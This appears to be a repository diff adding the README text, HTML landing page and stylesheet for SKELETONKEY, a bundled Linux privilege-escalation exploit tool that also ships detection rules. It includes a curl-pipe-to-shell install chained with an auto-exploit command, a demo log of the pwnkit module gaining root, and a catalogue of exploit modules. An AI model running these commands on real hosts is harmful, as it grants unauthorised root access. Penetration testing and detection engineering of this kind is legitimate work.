`kernelpop` bundle exploits but ship no detection signatures and
|
||||||
|
haven't been maintained in years.
|
||||||
|
|
||||||
|
**SKELETONKEY** is one curated binary that:
|
||||||
|
|
||||||
|
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||||
|
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||||
|
to — covering 2016 through 2026.
|
||||||
|
3. With explicit `--i-know` authorization, runs the safest one and
|
||||||
|
gets you root.
|
||||||
|
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||||
|
teams get the same coverage when they deploy it.
|
||||||
|
|
||||||
|
### One command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& skeletonkey --auto --i-know
|
||||||
|
```
|
||||||
|
|
||||||
|
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||||
|
structural escapes (no kernel state touched) first, then page-cache
|
||||||
|
writes, then userspace cred-races, then kernel primitives, then
|
||||||
|
kernel races last — and runs the safest match. If it fails it falls
|
||||||
|
back gracefully and tells you the next candidates to try manually.
|
||||||
|
|
||||||
|
### What's in the corpus
|
||||||
|
|
||||||
|
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||||
|
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||||
|
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||||
|
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||||
|
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||||
|
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||||
|
fuse_legacy (CVE-2022-0185)
|
||||||
|
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||||
|
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||||
|
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||||
|
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||||
|
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||||
|
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||||
|
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||||
|
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||||
|
|
||||||
|
Full inventory at
|
||||||
|
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||||
|
|
||||||
|
### The verified-vs-claimed bar
|
||||||
|
|
||||||
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
|
offsets. Modules with a kernel primitive but no per-kernel
|
||||||
|
cred-overwrite chain default to firing the primitive + grooming the
|
||||||
|
slab + recording an empirical witness, then return
|
||||||
|
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||||
|
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||||
|
(it only claims root when a setuid bash actually materializes).
|
||||||
|
|
||||||
|
When `--full-chain` needs kernel offsets, you populate them once on
|
||||||
|
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||||
|
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||||
|
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||||
|
|
||||||
|
### For each side of the house
|
||||||
|
|
||||||
|
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||||
|
releases, honest scope reporting.
|
||||||
|
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||||
|
Fleet-scan tool included.
|
||||||
|
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||||
|
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||||
|
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||||
|
supported.
|
||||||
|
|
||||||
|
### Status + roadmap
|
||||||
|
|
||||||
|
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||||
|
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||||
|
empty — operator-populated. Next: empirical validation on a
|
||||||
|
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||||
|
seeding for common cloud builds.
|
||||||
|
|
||||||
|
MIT. Each module credits the original CVE reporter and PoC author
|
||||||
|
in its `NOTICE.md`. The research credit belongs to the people who
|
||||||
|
found the bugs; SKELETONKEY is the bundling layer.
|
||||||
|
|
||||||
|
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||||
|
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||||
|
|
||||||
|
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||||
|
point this at anything you don't own.
|
||||||
+289
@@ -0,0 +1,289 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||||
|
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||||
|
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||||
|
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||||
|
<meta property="og:type" content="website">
|
||||||
|
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||||
|
<meta name="twitter:card" content="summary">
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<nav class="nav">
|
||||||
|
<span class="nav-brand">SKELETONKEY</span>
|
||||||
|
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||||
|
aria-label="View on GitHub">
|
||||||
|
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||||
|
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||||
|
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||||
|
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||||
|
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||||
|
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||||
|
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||||
|
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||||
|
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||||
|
</svg>
|
||||||
|
<span>GitHub</span>
|
||||||
|
</a>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<header class="hero">
|
||||||
|
<div class="container">
|
||||||
|
<h1>SKELETONKEY</h1>
|
||||||
|
<p class="tag">
|
||||||
|
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||||
|
2016 → 2026. Detection rules in the box.
|
||||||
|
<strong>One command picks the safest one and runs it.</strong>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="install-block">
|
||||||
|
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||||
|
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& skeletonkey --auto --i-know</pre>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||||
|
|
||||||
|
<div class="cta-row">
|
||||||
|
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Why this exists</h2>
|
||||||
|
<p class="lead">
|
||||||
|
Most Linux privesc tooling is broken in one of three ways:
|
||||||
|
</p>
|
||||||
|
<ul class="tight">
|
||||||
|
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||||
|
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||||
|
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||||
|
</ul>
|
||||||
|
<p class="lead" style="margin-top:1rem">
|
||||||
|
SKELETONKEY is one binary, actively maintained, with detection
|
||||||
|
rules for every CVE it bundles — same project for red and blue
|
||||||
|
teams.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Corpus at a glance</h2>
|
||||||
|
|
||||||
|
<div class="stats">
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num">28</span>
|
||||||
|
<span class="stat-label">verified modules</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num green">14</span>
|
||||||
|
<span class="stat-label">🟢 land root by default</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num yellow">14</span>
|
||||||
|
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num">10y</span>
|
||||||
|
<span class="stat-label">2016 → 2026 coverage</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||||
|
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||||
|
<div class="pills">
|
||||||
|
<span class="pill green">copy_fail</span>
|
||||||
|
<span class="pill green">copy_fail_gcm</span>
|
||||||
|
<span class="pill green">dirty_frag_esp</span>
|
||||||
|
<span class="pill green">dirty_frag_esp6</span>
|
||||||
|
<span class="pill green">dirty_frag_rxrpc</span>
|
||||||
|
<span class="pill green">dirty_pipe</span>
|
||||||
|
<span class="pill green">dirty_cow</span>
|
||||||
|
<span class="pill green">pwnkit</span>
|
||||||
|
<span class="pill green">overlayfs</span>
|
||||||
|
<span class="pill green">overlayfs_setuid</span>
|
||||||
|
<span class="pill green">cgroup_release_agent</span>
|
||||||
|
<span class="pill green">ptrace_traceme</span>
|
||||||
|
<span class="pill green">sudoedit_editor</span>
|
||||||
|
<span class="pill green">entrybleed</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||||
|
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||||
|
<div class="pills">
|
||||||
|
<span class="pill yellow">nf_tables</span>
|
||||||
|
<span class="pill yellow">nft_set_uaf</span>
|
||||||
|
<span class="pill yellow">nft_fwd_dup</span>
|
||||||
|
<span class="pill yellow">nft_payload</span>
|
||||||
|
<span class="pill yellow">netfilter_xtcompat</span>
|
||||||
|
<span class="pill yellow">af_packet</span>
|
||||||
|
<span class="pill yellow">af_packet2</span>
|
||||||
|
<span class="pill yellow">af_unix_gc</span>
|
||||||
|
<span class="pill yellow">cls_route4</span>
|
||||||
|
<span class="pill yellow">fuse_legacy</span>
|
||||||
|
<span class="pill yellow">stackrot</span>
|
||||||
|
<span class="pill yellow">sudo_samedit</span>
|
||||||
|
<span class="pill yellow">sequoia</span>
|
||||||
|
<span class="pill yellow">vmwgfx</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Who it's for</h2>
|
||||||
|
<div class="cards">
|
||||||
|
<div class="card">
|
||||||
|
<h3>🔴 Red team / pentesters</h3>
|
||||||
|
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🔵 Blue team / SOC</h3>
|
||||||
|
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🛠 Sysadmins</h3>
|
||||||
|
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🎓 CTF / training</h3>
|
||||||
|
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>What it looks like</h2>
|
||||||
|
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||||
|
|
||||||
|
<pre class="code"><span class="prompt">$</span> id
|
||||||
|
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||||
|
|
||||||
|
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||||
|
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||||
|
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||||
|
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||||
|
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||||
|
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||||
|
|
||||||
|
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||||
|
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||||
|
|
||||||
|
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||||
|
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||||
|
<span class="hl-green">#</span> id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||||
|
|
||||||
|
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||||
|
Safety ranking goes <strong>structural escapes</strong> →
|
||||||
|
<strong>page-cache writes</strong> →
|
||||||
|
<strong>userspace cred-races</strong> →
|
||||||
|
<strong>kernel primitives</strong> →
|
||||||
|
<strong>kernel races</strong>. The goal is to never crash a
|
||||||
|
production box looking for root.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>The verified-vs-claimed bar</h2>
|
||||||
|
<p class="lead">
|
||||||
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
|
offsets.
|
||||||
|
</p>
|
||||||
|
<ul class="tight">
|
||||||
|
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||||
|
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||||
|
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Quickstart commands</h2>
|
||||||
|
|
||||||
|
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||||
|
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
|
|
||||||
|
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --scan
|
||||||
|
|
||||||
|
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||||
|
|
||||||
|
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||||
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||||
|
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||||
|
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Status</h2>
|
||||||
|
<p class="lead">
|
||||||
|
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||||
|
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||||
|
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||||
|
are ported from public PoCs but not yet VM-verified.
|
||||||
|
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||||
|
is the next roadmap item; until then, the corpus is best
|
||||||
|
understood as "compiles + detects + structurally correct +
|
||||||
|
honest on failure."
|
||||||
|
</p>
|
||||||
|
<p style="margin-top:1rem">
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<div class="container">
|
||||||
|
<p>
|
||||||
|
Each module credits the original CVE reporter and PoC author in its
|
||||||
|
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||||
|
who found the bugs.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
MIT licensed ·
|
||||||
|
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copyInstall(btn) {
|
||||||
|
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||||
|
navigator.clipboard.writeText(cmd).then(function() {
|
||||||
|
btn.textContent = 'copied!';
|
||||||
|
btn.classList.add('copied');
|
||||||
|
setTimeout(function() {
|
||||||
|
btn.textContent = 'copy';
|
||||||
|
btn.classList.remove('copied');
|
||||||
|
}, 1500);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
+309
@@ -0,0 +1,309 @@
|
|||||||
|
/* SKELETONKEY — landing page styles */
|
||||||
|
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg: #0d1117;
|
||||||
|
--bg-elevated: #161b22;
|
||||||
|
--border: #30363d;
|
||||||
|
--text: #c9d1d9;
|
||||||
|
--text-muted: #8b949e;
|
||||||
|
--text-dim: #6e7681;
|
||||||
|
--accent: #58a6ff;
|
||||||
|
--green: #3fb950;
|
||||||
|
--yellow: #d29922;
|
||||||
|
--red: #f85149;
|
||||||
|
--mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
|
||||||
|
"Liberation Mono", monospace;
|
||||||
|
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue",
|
||||||
|
Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background: var(--bg);
|
||||||
|
color: var(--text);
|
||||||
|
font-family: var(--sans);
|
||||||
|
font-size: 16px;
|
||||||
|
line-height: 1.6;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
}
|
||||||
|
|
||||||
|
a { color: var(--accent); text-decoration: none; }
|
||||||
|
a:hover { text-decoration: underline; }
|
||||||
|
|
||||||
|
code, pre {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.92em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 920px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 2rem 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Top nav */
|
||||||
|
.nav {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 1rem 1.5rem;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
background: rgba(13, 17, 23, 0.92);
|
||||||
|
backdrop-filter: blur(6px);
|
||||||
|
-webkit-backdrop-filter: blur(6px);
|
||||||
|
z-index: 10;
|
||||||
|
}
|
||||||
|
.nav-brand {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.nav-github {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.45rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.95rem;
|
||||||
|
padding: 0.35rem 0.7rem;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
}
|
||||||
|
.nav-github:hover {
|
||||||
|
color: var(--text);
|
||||||
|
border-color: var(--text-muted);
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.nav-github svg { display: block; }
|
||||||
|
|
||||||
|
/* Hero */
|
||||||
|
.hero {
|
||||||
|
text-align: center;
|
||||||
|
padding: 4rem 0 3rem;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
.hero h1 {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 2.5rem;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
margin: 0 0 1rem;
|
||||||
|
font-weight: 800;
|
||||||
|
}
|
||||||
|
.hero .tag {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin: 0 auto 2rem;
|
||||||
|
max-width: 640px;
|
||||||
|
}
|
||||||
|
.hero .tag strong { color: var(--text); }
|
||||||
|
|
||||||
|
.install-block {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1rem 1.25rem;
|
||||||
|
margin: 0 auto 1.5rem;
|
||||||
|
max-width: 760px;
|
||||||
|
text-align: left;
|
||||||
|
position: relative;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
.install-block pre {
|
||||||
|
margin: 0;
|
||||||
|
color: var(--text);
|
||||||
|
white-space: pre;
|
||||||
|
}
|
||||||
|
.install-block .prompt { color: var(--green); user-select: none; }
|
||||||
|
.install-block .copy {
|
||||||
|
position: absolute;
|
||||||
|
top: 0.6rem;
|
||||||
|
right: 0.6rem;
|
||||||
|
background: transparent;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.78rem;
|
||||||
|
padding: 0.25rem 0.5rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
}
|
||||||
|
.install-block .copy:hover { color: var(--text); border-color: var(--text-muted); }
|
||||||
|
.install-block .copy.copied { color: var(--green); border-color: var(--green); }
|
||||||
|
|
||||||
|
.warn {
|
||||||
|
display: inline-block;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
padding: 0.4rem 0.8rem;
|
||||||
|
background: rgba(248, 81, 73, 0.08);
|
||||||
|
border: 1px solid rgba(248, 81, 73, 0.4);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: var(--red);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cta-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.75rem;
|
||||||
|
justify-content: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
margin-top: 2rem;
|
||||||
|
}
|
||||||
|
.btn {
|
||||||
|
display: inline-block;
|
||||||
|
padding: 0.65rem 1.25rem;
|
||||||
|
border-radius: 6px;
|
||||||
|
font-size: 0.95rem;
|
||||||
|
font-weight: 500;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.btn:hover { background: var(--bg-elevated); text-decoration: none; }
|
||||||
|
.btn-primary {
|
||||||
|
background: var(--accent);
|
||||||
|
border-color: var(--accent);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
.btn-primary:hover { background: #1f6feb; }
|
||||||
|
|
||||||
|
/* Sections */
|
||||||
|
section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
|
||||||
|
section h2 {
|
||||||
|
font-size: 1.6rem;
|
||||||
|
margin: 0 0 1.5rem;
|
||||||
|
letter-spacing: -0.01em;
|
||||||
|
}
|
||||||
|
section h3 {
|
||||||
|
font-size: 1.1rem;
|
||||||
|
margin: 1.5rem 0 0.75rem;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lead { color: var(--text-muted); font-size: 1.05rem; max-width: 720px; }
|
||||||
|
|
||||||
|
/* Stats */
|
||||||
|
.stats {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(4, 1fr);
|
||||||
|
gap: 1rem;
|
||||||
|
margin: 1.5rem 0;
|
||||||
|
}
|
||||||
|
.stat {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1.25rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.stat-num {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 2rem;
|
||||||
|
font-weight: 700;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
.stat-num.green { color: var(--green); }
|
||||||
|
.stat-num.yellow { color: var(--yellow); }
|
||||||
|
.stat-label { color: var(--text-muted); font-size: 0.85rem; }
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.stats { grid-template-columns: repeat(2, 1fr); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Audience cards */
|
||||||
|
.cards {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(2, 1fr);
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1.25rem;
|
||||||
|
}
|
||||||
|
.card h3 { margin-top: 0; color: var(--text); }
|
||||||
|
.card p { margin: 0.5rem 0 0; color: var(--text-muted); font-size: 0.95rem; }
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.cards { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Module pills */
|
||||||
|
.pills {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.4rem;
|
||||||
|
margin: 0.75rem 0 1.5rem;
|
||||||
|
}
|
||||||
|
.pill {
|
||||||
|
display: inline-block;
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
padding: 0.2rem 0.55rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.pill.green { border-color: rgba(63, 185, 80, 0.4); color: var(--green); }
|
||||||
|
